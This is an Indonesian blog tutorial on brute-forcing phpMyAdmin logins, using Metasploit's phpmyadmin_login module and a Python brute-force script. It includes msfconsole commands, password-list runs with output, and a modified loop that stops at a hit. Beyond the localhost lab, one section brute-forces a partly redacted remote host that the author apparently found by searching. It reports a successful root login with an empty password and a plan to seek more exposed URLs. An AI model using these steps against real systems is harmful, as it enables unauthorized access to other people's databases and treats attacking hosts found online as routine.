Belajar Menggunakan Metasploit MsfConsole – phpmyadmin_login

By | October 13, 2022
1,327 Views

MsfConsole – phpmyadmin_login – merupakan tools dari metasploit yang digunakan untuk login mysql melalui phpmyadmin. Biasanya kalau kalian install xammp/lampp ntar disediakan aplikasi berbasis web untuk melakukan koneksi ke mysql. Metasploit yang digunakan cukup pakai WSL saja kalian bisa install via microsft store

MsfConsole – phpmyadmin_login untuk menguji terlebih dahulu di localhost apakah bisa digunakan atau tidak untuk real case menggunakan teknik brute force password.

Untuk memulai hal tersebut, kita setting agar phpmyadmin nya tampil form login. Beberapa langkah yang kalian ikuti yaitu

Setelah itu, klik Change Password. Pilih Password lalu ketikkan passwordnya, misalkan saya ketikan 12345. Kemudian klik Go akan tampil berikut

kalian bisa ubah saja dengan password yang kalian suka. Langkah selanjutnya buka file config.inc.php phpMyAdmin dapat kita temui di C:\xampp\phpMyAdmin untuk Windows, /opt/lampp/phpmyadmin/ untuk Linux, dan /Applications/XAMPP/xamppfiles/phpmyadmin untuk macOS.

Isi file yang harus diubah adalah pada bagian  $cfg[‘Servers’][$i][‘auth_type’] = ‘config’;  Kita ubah menjadi $cfg[‘Servers’][$i][‘auth_type’] = ‘cookie’;

coba kalian refresh http://127.0.0.1/phpmyadmin/index.php, maka akan tampilk form login nya

OK, setelah siap servernya. Saatnya kita akan menggunakan msfconsole dengan mengetikan

  • use auxiliary/scanner/http/phpmyadmin_login
  • set RHOSTS 127.0.0.1
  • set TARGETURI phpmyadmin/index.php
  • set USERNAME root
  • set PASS_FILE password.txt

Berikut tampilan hasil msfconsole

[*] PhpMyAdmin Version: 5.0.1
[-] 127.0.0.1:80 - Failed: 'root:'
[!] No active DB -- Credential data will not be saved!
[-] 127.0.0.1:80 - Failed: 'root: '
[-] 127.0.0.1:80 - Failed: 'root:123456'
[-] 127.0.0.1:80 - Failed: 'root:12345'
[-] 127.0.0.1:80 - Failed: 'root:123456789'
[-] 127.0.0.1:80 - Failed: 'root:password'
[-] 127.0.0.1:80 - Failed: 'root:iloveyou'
[-] 127.0.0.1:80 - Failed: 'root:root2'
[-] 127.0.0.1:80 - Failed: 'root:princess'
[+] 127.0.0.1:80 - Success: 'root:12345'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

terlihat phpmyadmin_login berhasil dengan root:password yaitu root:12345. Oiya untuk

  • set RHOSTS 127.0.0.1
See also  Database Sqlite Java

bisa kalian ganti dengan

  • set RHOSTS http://localhost

mengingat phpmyadmin berjalan berbasis web localhost.

Uji coba untuk target lain

Mencoba dengan target yang lain. Setelah searching dapatlah alamat tertentu yang bisa diuji coba. Dengan melibatkan sebuah token sebagai session nya

  • use auxiliary/scanner/http/phpmyadmin_login
  • set RHOSTS 10.xxx.xxx.xxx
  • set TARGETURI  phpMyAdmin/index.php?token=a4127e7c88e4ee29ed143add6981544a
  • set RPORT 1xx7
  • set USERNAME root
  • set PASS_FILE password.txt

dengan hasil sebagai berikut

[*] PhpMyAdmin Version: Not Detected
[+] 10.254.250.109:1107 - Success: 'root: '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

tapi ketika dicoba dibrowser #2003 Cannot log in to the MySQL server. Nanti cari lagi url yang bisa diekspose.

Brute Force dengan tools lain

Selain dengan cara diatas, kita bisa menggunakan tools yang ditulis di python – https://github.com/pendoubleg/phpmyadmin-authentication-bruteforce

Contoh perintah yaitu

python main.py -url http://localhost/phpmyadmin/index.php -user root2 -pdict password.txt

hanya saja tidak berhenti kalau sudah ketemu,

[!] FAILED - root2 /
[!] FAILED - root2 / 123456
[*] FOUND - root2 / 12345
[!] FAILED - root2 / 123456789
[!] FAILED - root2 / root
[!] FAILED - root2 / password
[!] FAILED - root2 / iloveyou
[!] FAILED - root2 / root2
[!] FAILED - root2 / princess
[!] FAILED - root2 / 1234567
[!] FAILED - root2 / rockyou
[!] FAILED - root2 / panjer54312
[!] FAILED - root2 / 12345678
[!] FAILED - root2 / abc123
[!] FAILED - root2 / nicole
[!] FAILED - root2 / daniel
[!] FAILED - root2 / babygirl
[!] FAILED - root2 / monkey
[!] FAILED - root2 / lovely
[!] FAILED - root2 / jessica
[!] FAILED - root2 / 654321
[!] FAILED - root2 / michael
[!] FAILED - root2 / ashley
[!] FAILED - root2 / qwerty
[!] FAILED - root2 / 111111
[!] FAILED - root2 / iloveu
[!] FAILED - root2 / 000000
[!] FAILED - root2 / michelle
[!] FAILED - root2 / tigger
[!] FAILED - root2 /

Saran nya yaitu ubah saja kode main.py nya dengan ditambahkan kode break , seperti berikut

for user in users:
   for password in passwords:
      if login(url, user, password):
         print("[*] FOUND - %s / %s" % (user, password))
         f = open("found.txt", "w")
         f.write("%s / %s\n" % (user, password))
         f.close()
         break
      else:
         print("[!] FAILED - %s / %s" % (user, password))

sehingga akan berhenti ketika FOUND

[!] FAILED - root2 /
[!] FAILED - root2 / 123456
[*] FOUND - root2 / 12345

Database Brute Force

Pada kasus real nya nanti kebutuhan password bisa ratusan ribu atau bahkan jutaan kombinasi, kalian bisa menggunakan package wordlist di python untuk generate password.

See also  Library SQLite untuk Menyimpan Jutaan record